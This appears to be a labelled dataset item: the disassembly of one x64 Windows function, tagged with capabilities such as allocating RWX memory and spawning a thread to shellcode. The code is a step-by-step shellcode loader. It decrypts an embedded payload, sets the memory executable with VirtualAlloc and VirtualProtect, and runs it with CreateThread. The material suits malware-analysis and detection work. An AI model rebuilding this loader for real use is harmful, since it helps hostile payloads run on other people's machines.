Function at 0x140011280
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x140011a50
push rbp
push rdi
sub rsp, 0x1b8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x32
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001e180]
xor rax, rbp
mov qword [rbp + 0x178], rax
lea rcx, [0x1400230a4]
call fcn.140011393
nop
lea rax, section..data
mov qword [rbp + 8], rax
mov dword [rbp + 0x24], 0x114
lea rcx, str.___Press__Enter__To_Read_The_Shellcode_From_The_Registry...
call fcn.1400111a4
nop
lea rcx, str.___DONE__n
call fcn.1400111a4
nop
mov rdx, qword [rbp + 8]
lea rcx, str.___Payload_Read_At_:_0x_p__n
call fcn.1400111a4
nop
lea rcx, [rbp + 0x48]
call fcn.140011ec0
nop
mov rax, qword [rbp + 0x48]
add rax, 0x2710
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0x68]
cmp qword [rbp + 0x48], rax
jge 0x140011af9
lea rcx, [rbp + 0x48]
call fcn.140011ec0
nop
jmp 0x140011ae3
lea rcx, str.___Press__Enter__To_Decrypt_The_Shellcode_...
call fcn.1400111a4
nop
lea rcx, str._i__Decrypting_Shellcode_...
call fcn.1400111a4
nop
mov r9d, dword [rbp + 0x24]
mov r8d, 0x10
mov rdx, qword [rbp + 8]
lea rcx, [0x14001e118]
call fcn.14001116d
test eax, eax
jne 0x140011b3b
mov eax, 0xffffffff
jmp 0x140011cbe
lea rcx, str.___DONE___n
call fcn.1400111a4
nop
mov r8d, dword [rbp + 0x24]
mov rdx, qword [rbp + 8]
lea rcx, str._i__Deobfuscated_Payload_At_:_0x_p_Of_Size_:__d__n
call fcn.1400111a4
nop
lea rcx, str.___Press__Enter__To_Allocate_...
call fcn.1400111a4
nop
mov eax, dword [rbp + 0x24]
mov r9d, 4
mov r8d, 0x3000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jne 0x140011bb3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualAlloc_Failed_With_Error_:__d__n
call fcn.1400111a4
nop
mov eax, 0xffffffff
jmp 0x140011cbe
mov rdx, qword [rbp + 0x88]
lea rcx, str._i__Allocated_Memory_At_:_0x_p__n
call fcn.1400111a4
nop
lea rcx, str.___Press__Enter__To_Write_Payload_...
call fcn.1400111a4
nop
mov eax, dword [rbp + 0x24]
mov r8d, eax
mov rdx, qword [rbp + 8]
mov rcx, qword [rbp + 0x88]
call fcn.1400111c2
nop
mov eax, dword [rbp + 0x24]
mov r8d, eax
xor edx, edx
mov rcx, qword [rbp + 8]
call fcn.1400112d5
nop
mov dword [rbp + 0xa4], 0
mov eax, dword [rbp + 0x24]
lea r9, [rbp + 0xa4]
mov r8d, 0x40
mov edx, eax
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140011c46
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualProtect_Failed_With_Error_:__d__n
call fcn.1400111a4
nop
mov eax, 0xffffffff
jmp 0x140011cbe
lea rcx, str.___Press__Enter__To_Run_...
call fcn.1400111a4
nop
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x88]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
jne 0x140011c99
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateThread_Failed_With_Error_:__d__n
call fcn.1400111a4
nop
mov eax, 0xffffffff
jmp 0x140011cbe
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 8]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop
lea rcx, str.___Press__Enter__To_Quit_...
call fcn.1400111a4
nop
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001ad90]
call fcn.140011325
mov rax, rdi
mov rcx, qword [rbp + 0x178]
xor rcx, rbp
call fcn.1400111bd
lea rsp, [rbp + 0x188]
pop rdi
pop rbp
ret